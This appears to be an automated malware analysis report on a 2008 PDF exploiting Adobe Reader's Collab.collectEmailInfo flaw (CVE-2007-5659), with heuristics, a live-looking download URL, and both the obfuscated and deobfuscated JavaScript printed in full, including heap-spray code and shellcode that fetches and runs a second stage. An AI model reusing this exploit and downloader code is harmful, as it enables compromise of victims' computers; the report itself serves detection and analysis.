Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e71450931444350…

MALICIOUS

PDF

4.7 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2013-04-22
MD5: 743f23c41d20035ba172106b9874ecf2 SHA-1: 4da33eb145911cd5e9508ce905a2044165b1beb1 SHA-256: 4e714509314443503c7d5fae80183e2f56d043e492a9c071093b3433accb9fd8
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-confidence PDF_EVAL heuristic firing suggests that the JavaScript is obfuscated and uses an eval() call, a common technique for executing malicious code. The extracted artifact 'javascript_obj0013_001.js' is also flagged for script obfuscation. The primary intent appears to be the execution of this obfuscated script, likely to download and execute a further payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function Rs2pUviPyvKTV(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function lD4r2z5zUuOSJF(KYwxIqW){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(KYwxIqW)"+";"+"}");eval("function Ia3HlY7PHxQx(HnWRGBb){var djtYtpPokxfR="+"0,thGSR=HnWRGBb.l"+"en"+"gth,zlE9WoAoZiuz=10"+"2"+"4,SPx2clX52jfBo,SGoJzZY87,juw1ov1='',zyhyjF3l=djtYtpPokxfR,cwn5N4sh3RG0=djtYtpPokxfR,jRTZRHUSyqQ=djtYtpPokxfR,x0vquuXrhbFlU=Ar"+"ra"+" …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=18&spl=4 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 6474 bytes
SHA-256: 478c8ad3d61a339682da28607201b205f41597f2df43b711f1bd543c1f4eb202
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function Rs2pUviPyvKTV(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function lD4r2z5zUuOSJF(KYwxIqW){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(KYwxIqW)"+";"+"}");eval("function Ia3HlY7PHxQx(HnWRGBb){var djtYtpPokxfR="+"0,thGSR=HnWRGBb.l"+"en"+"gth,zlE9WoAoZiuz=10"+"2"+"4,SPx2clX52jfBo,SGoJzZY87,juw1ov1='',zyhyjF3l=djtYtpPokxfR,cwn5N4sh3RG0=djtYtpPokxfR,jRTZRHUSyqQ=djtYtpPokxfR,x0vquuXrhbFlU=Ar"+"ra"+"y(63,5,13,21,48,39,58,44,36,4,0,0,0,0,0,0,47,0,27,23,45,18,42,15,29,6,8,61,32,10,11,28,25,30,55,17,51,38,46,7,24,50,40,0,0,0,0,2,0,57,62,12,41,3,37,60,9,26,43,35,34,20,14,19,59,54,52,16,33,22,31,56,1,53,49);f"+"o"+"r(SGoJzZY87=M"+"at"+"h.c"+"ei"+"l(thGSR/"+"zlE9WoAoZiuz)"+";SGoJzZY87>djtYtpPokxfR;SGoJzZY87-"+"-){fo"+"r(SPx2clX52jfBo=Ma"+"th.m"+"in(thGSR,zlE9WoAoZiuz);SPx2clX52jfBo>djtYtpPokxfR;SPx2clX52jfBo-"+"-,thGSR-"+"-){jRTZRHUSyqQ|"+"=(x0vquuXrhbFlU[HnWRGBb.cha"+"rCod"+"eAt(zyhyjF3l+"+"+)-48])<"+"<cwn5N4sh3RG0;if(cwn5N4sh3RG0){juw1ov1+"+"=lD4r2z5zUuOSJF"+"(108^jRTZRHUSyqQ&"+"2"+"5"+"5);jRTZRHUSyqQ>"+">="+"8;cwn5N4sh3RG0-"+"="+"2;}el"+"se{cwn5N4sh3RG0="+"6"+";}}"+"}return (juw1ov1);}var LwDxUpPyPrFtJ=implode('',['cdSeQ49IhsE','Ae','weoSz8Ah7xo','DwtW2m','xS1H1','oM8t','A','GLSxeJAomrzWIro','JyZfCi','sS','I9d4JvZTAQwe','C57SnpA9oJ','X_','G','ZwE','NXt1Ia4TG1','zr1cDxx','1As_','cS8_','kgtnewtGO','HYIa','7ksA8LAN','Lx','xIa1mJX_','GZwE','NXt1Ia','4TG1Ht_k','gtnewt','GOHYIa7eoW','11','oMc','YW6cLWb4yhB8','TnC1','xoMcYW6','cLWb4yhB8T','nc','11oMcYW6cL','Wb4yh','B8Tn','_KSI','ngxIQm','LA','Ns9C','AtLhgL','lNDL1uX8eG0','c8C1H1oQ8AIPwtA','c','d4JvZTAQweC57SnpO1o','S48_','PJ','4eXm4A','_','4','rek7eJLXYxdcAS','1zr1cdS','e','Q4rhjssGZ4mmcz11OK','A','CG4','yeO','K4','3c','dSeQ4','9GeszMdwlGgZlnU','XLIA4','mm','cftAh','gz','e2','4S_','9amE','PLyCXK3EPLyCX','K','3','E','PL','yCX','K3EP4fMdw','EEPg','yCPaEEPZfu@m3EPs1CVm3EPs1C','Oy3EP8l','Mv','K','3EP8lCXK3E','P8lNFrEEP8_3Of3EPZlMdgEEPZl','MFZ','EEP','s','fN','BdEEPLlMXfEEP8lMdZEEPZ1udZ','EEP8YCDZEE','P','mfMit3EPLfCFg','3EPmfMit3EPZ3','Md73EP8','lM','O','K3EP','8','lMdwEEPZ1udZEEPw','E3OK3','EPZ3C','mD3','E','P8ECDr3','EP4yuOK3EP8l','MHy3EP8','lMdZ','E','EP','rENid3EPwE3d','wEE','P7y','umD3EPZ3uHy3EP4yudr3EP8','lMHdEEP8lMdZE','EPrENid','3EPw','E3d','73','EPgENmD3','EPr1C','PdE','E','P4yu','Q','tEEP8lMOtEEP8lMdZEEPrENid3EPwE3dg3EP41C','mD3','EP4f','MQy3EP4yum','dEEP8l','M','vaEEP8lMdZEEPrEN','id3EPwE3FZE','E','Pw3MmD3EP43N3d','3E','P','4yuPD','3E','P8lMQ','33EP8lMdZEE','PrE','Nid3E','PrlM','F','wEE','PL','YuidEEPm3NQKEEPZ','fuHf3E','PZYuDrEEP','8_3Od3EP8lM','d8E','EPw','ECdZEEPm3Nid3EPZ1u@w','EEP','8','lN','Dr','EEP8EM','mf3','EP','Z1uVZ3','EP','ZYuV','rEEP4yuVm3EP8lM','i','t3EP8','lMdZEEPsyuVZEEPZEuZm3EPmfM@43','EP713OD3E','P','8','l','M','dZEEPZfudZ','EEP','ZYCDrEEPw3','N','i','t3EP','wfMiKE','EPZfuVZEE','PglMDrEEPr1Cm','D3EP','8lMdZEEPwlM','dZEEPrE','Nit','3','E','Ps3uFwEEPwlud','LEEPwENit3E','P4','yuF73EP','8l','MmfEE','P8lMdZEEPrEN','dgEEPw13','@ZEEPwYC','dZEEPg','EC3','y','3EPw13myEEP8','lNDZ','EEPs3N','3D3EP8','lMdZEE','Pm3NHz3','EPZ1u@ZEEP','8YCDrE','EP8EMmf3EPZ1','uVZ3EPZYuVrEEPrlMO','D3EP8lMdZEEPs','3udZEEPwY','uds3EPrEN','dg','EEPLYN@','wEEPwYNvt3EPr1CVgEEPglM','3yEEPwYN','VZEEPrENit','3E','P','s3uFg3EPwludrEEPwENit3EP4yuF73EP8lM@gEEP8lM','d','ZEEP8','lMmf3EPm3N','H','z3','E','PZ1u@ZE','EP8Yu','DrEE','P8_Mmf3EPZ1','uV','Z3EP','ZYuVr','E','EP','ZlMOD3EP8l','MdZEEP','s','3udZ','EEPZ1uHz3EPZlMDrEEP8EMmf3EPZ1uV','Z3EPZYuVr','E','EP8l','MOD3EP8lMdZEE','P','r','EMdZEEPw_MVL','3EP43Mdg','EE','P43MdgEE','P','43MdgEEP43Md','gEEP4yCiKEEPwEudw','E','E','PZ1','uVg','EEP','4','1','Mvf3EPw_MHS3EP4fM','Hz','3E','P','Z1','uVrEE','P','Z1uOK3EP','8Yu3a3EP','wlCit','3EPwE3dg3EPmyN','it3EPZ1uZg3EPZEC3aEEP8','YN3D3EP','wE3HKEEP','m33it3EP8YN@ZEE','PLYNHKEEPrluQd3EP','LfC','D8E','E','PwyNdgEEP','LY','NV','m3EP','8_CH33E','PZ','lMP','y3','EPr','1MZ83E','P8Yu3aEEPw','3CQfEEP8','YNdw3EPrlM','H','tEEPr3MOt3E','P','r3C','ZL3EPm','3NVr3E','PwEu','O','yEEP41uit3EPwE','ui','t3EP','8YN@wEEPs33va3EP8','YCit3EP','Z1uDL3EPZYCV83E','Pg','f','Cd','gEEP','8l','Nit3EP','8YNit3EPwE','CQyEEPw1M','Vw3','E','P8lMd73E','PrfNOD','3E','Pr1CHy','3','EPwENHz3EPrYCVLEEPr_CDw3','EP8lMDr3EP71uiS3EP71CBt3','EP','w','fMvyE','EPZ3CQdEEPZfCi','a','3EP','g','33vy3EP','w3M','va3EP','Z3Mi','K3EP7yCQdEEPZyNBz3EPw','fMvK3EPZfMiKEEP','Z1','uiy3EP71CQ','f','EEP71C','iS','3EPZ33v','dEEPg1Mit3EP','g13vy','3EP7','yCQd','3E','PZyNBz3EPg','1uvtl','o1H1oirLWcDoWZm4Mc11o','OSx','uO','z','1COzy3cdSeQ4m','1dZYWaL','euB','Lth0gYCl4mmczT','Am7EMVweGFZkhIZxA_','xs__7A','I','948Scay3cdSeQ49_U4','eMVr_','u','XtSngg','eoS','zrnH','LE','xj4mscSm1dZY','WaLeuBLt','h0gYClO','9Cm','g','131','H1oirL','Wc','d4JvZTAQweC57Snp4mmcft','Ahgze24S_9amEPm1','C3z3E','Pm1','C3zf','o1','H1o','McYW6','cLWb4yhB8','Tn','c11omrzW','IroJy','ZfC','isSI9d','4JvZTAQweC57S','np','A9','oJX_G','ZwENXt1Ia4TG1H','1oir','LWcfTx3z','yG','h','mlIc','11o9H','YM9','reMc19o','OSx','uOz','1COz','3SeD','oWZm','4MCz8_ewxo9dSeQ','49','1','Dcsx6my','GW91C','CSS','Ne','mLn3KTx','sfTx3z','yGhmlICS','SNemL','n3KT','x','W','HmScHx','oX8','A','hxcLG','RsS','NemLn3KTxz4mmc','d4JvZTA','Q','we','C57Snp4','rScz','TAm','7EMVweG','FZ','khIZxACzm','9c1','xoM8tAGLSxe','JAo','J','7SM0','8L','nXsmScHxoirL','WcaE3b8Ye','6wYne','LsxQ','4','m','mc','yAWO','J8I1','84Ihw','tnhwzW1c','LA_tz','A','0Lt','W','1J','4_','93r3','caE3b8Ye6','wYneLsxQ4mmcaE3b8','Ye6wYn','e','LsxQJ8Wh4xA2gs_929c','Zcr_Aa8o1H1oirLWc','f','YNx4SJdL','o','_OK','SI','c1','1o_84Icy','lW','Qrs19','aE3b','8Ye6wYneL','s','xQJ','re9rL','WDLxSO39','sV','mfGdgL','n','V7T','AJ','mLW_KAx2wSNXsmC','1x8N3aoMG','ZkNpcA_1w','tsGsseQr','_I','9a','3S1H1o1','ZAo9','SmM@9AWt','8_','nh','4yW','POeCz4mmSz93','cd8EcS9SdgEAO9EMw8ACv','8','z2H','1eoS11oHz8E','M','z','mM@9AWt8_nh4','yWPOkCz49mca','3Scxx9c','fYNx4SJd','Lo_OK','SIRr3','cc','x1oH','3','mSc','xx','9cS','mM@9A','Wt8_nh4','y','WP','OeCz4mmS','zrucd8EcfYNx4SJd','Lo_OKSIR','r3ccx1oH39','os','A','xo','9fY','Nx4','SJdLo_OKS','IR43c','cx1o','B3mSc','Hx','oGcYnLAlhW','8YA9','3','r3cd','SeQ4','rGt','O4ej','X_oSzmI','_','84WGrA','Whs8','ohfxCG4yehf','xCG','4yen3r3c','Dxx1As','_9KoJWg4MUJ','9AhJ4','_XsAo','sz9u','X33uQ39o09YxG7lhc','HmmcKoJ','Wg4MUO1oXssxvJreeAAA','2w4G','XcLWh4mmcKYA','AAsenJr','eeAAAhg','AId9','se','1Ash','_Z4A','9HzW','PwLxuz8onxmAv','7L3cKoJWg4','MU9SSCz','m9c','1xoJ7SM','08Ln','XsmSCx']);");eval(Ia3HlY7PHxQx(LwDxUpPyPrFtJ));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x36B 2614 bytes
SHA-256: 76179af18cc0c2b6b9b15149b307e0e28cb9da89fbd39cf978c7c5700fc50134
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var teHmoR = new Array(); function xqsjQMY62vxu(fOsVorR0KwUW, dJPDBA44tUPS) { while (fOsVorR0KwUW.length*2<dJPDBA44tUPS){fOsVorR0KwUW += fOsVorR0KwUW;} fOsVorR0KwUW = fOsVorR0KwUW.substring(0,dJPDBA44tUPS/2); return fOsVorR0KwUW; } function cOWLLJkEo() { var KGhQD = 0x0c0c0c0c; var PoxGEBRPFVJjvl = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3831%u7326%u6C70%u343D"); var WqDiG = 0x400000; var yEFsUT4wtJSC3N = PoxGEBRPFVJjvl.length * 2; var dJPDBA44tUPS = WqDiG - (yEFsUT4wtJSC3N+0x38); var fOsVorR0KwUW = unescape("%u9090%u9090"); fOsVorR0KwUW = xqsjQMY62vxu(fOsVorR0KwUW, dJPDBA44tUPS); var Uk90SeIv = (KGhQD - 0x400000)/WqDiG; for (var xAoiV9Sk=0;xAoiV9Sk<Uk90SeIv;xAoiV9Sk++) { teHmoR[xAoiV9Sk] = fOsVorR0KwUW + PoxGEBRPFVJjvl; } } function dwESeVt() { var B9REcVBWodir = app.viewerVersion.toString(); B9REcVBWodir = B9REcVBWodir.replace(/\D/g,""); var ECmpMETe0su = new Array(B9REcVBWodir.charAt(0),B9REcVBWodir.charAt(1),B9REcVBWodir.charAt(2)); if ((ECmpMETe0su[0] == 8 && ((ECmpMETe0su[1] == 1 && ECmpMETe0su[2] < 2) || ECmpMETe0su[1] < 1)) || (ECmpMETe0su[0] == 7 && ECmpMETe0su[1] < 1) || (ECmpMETe0su[0] < 7)) { cOWLLJkEo(); var SMkcGJ = unescape("%u0c0c%u0c0c"); while(SMkcGJ.length < 44952) SMkcGJ += SMkcGJ; this.collabStore = Collab.collectEmailInfo({subj: "",msg: SMkcGJ}); } } dwESeVt();

Open this report in the interactive analyzer, or submit your own file for analysis.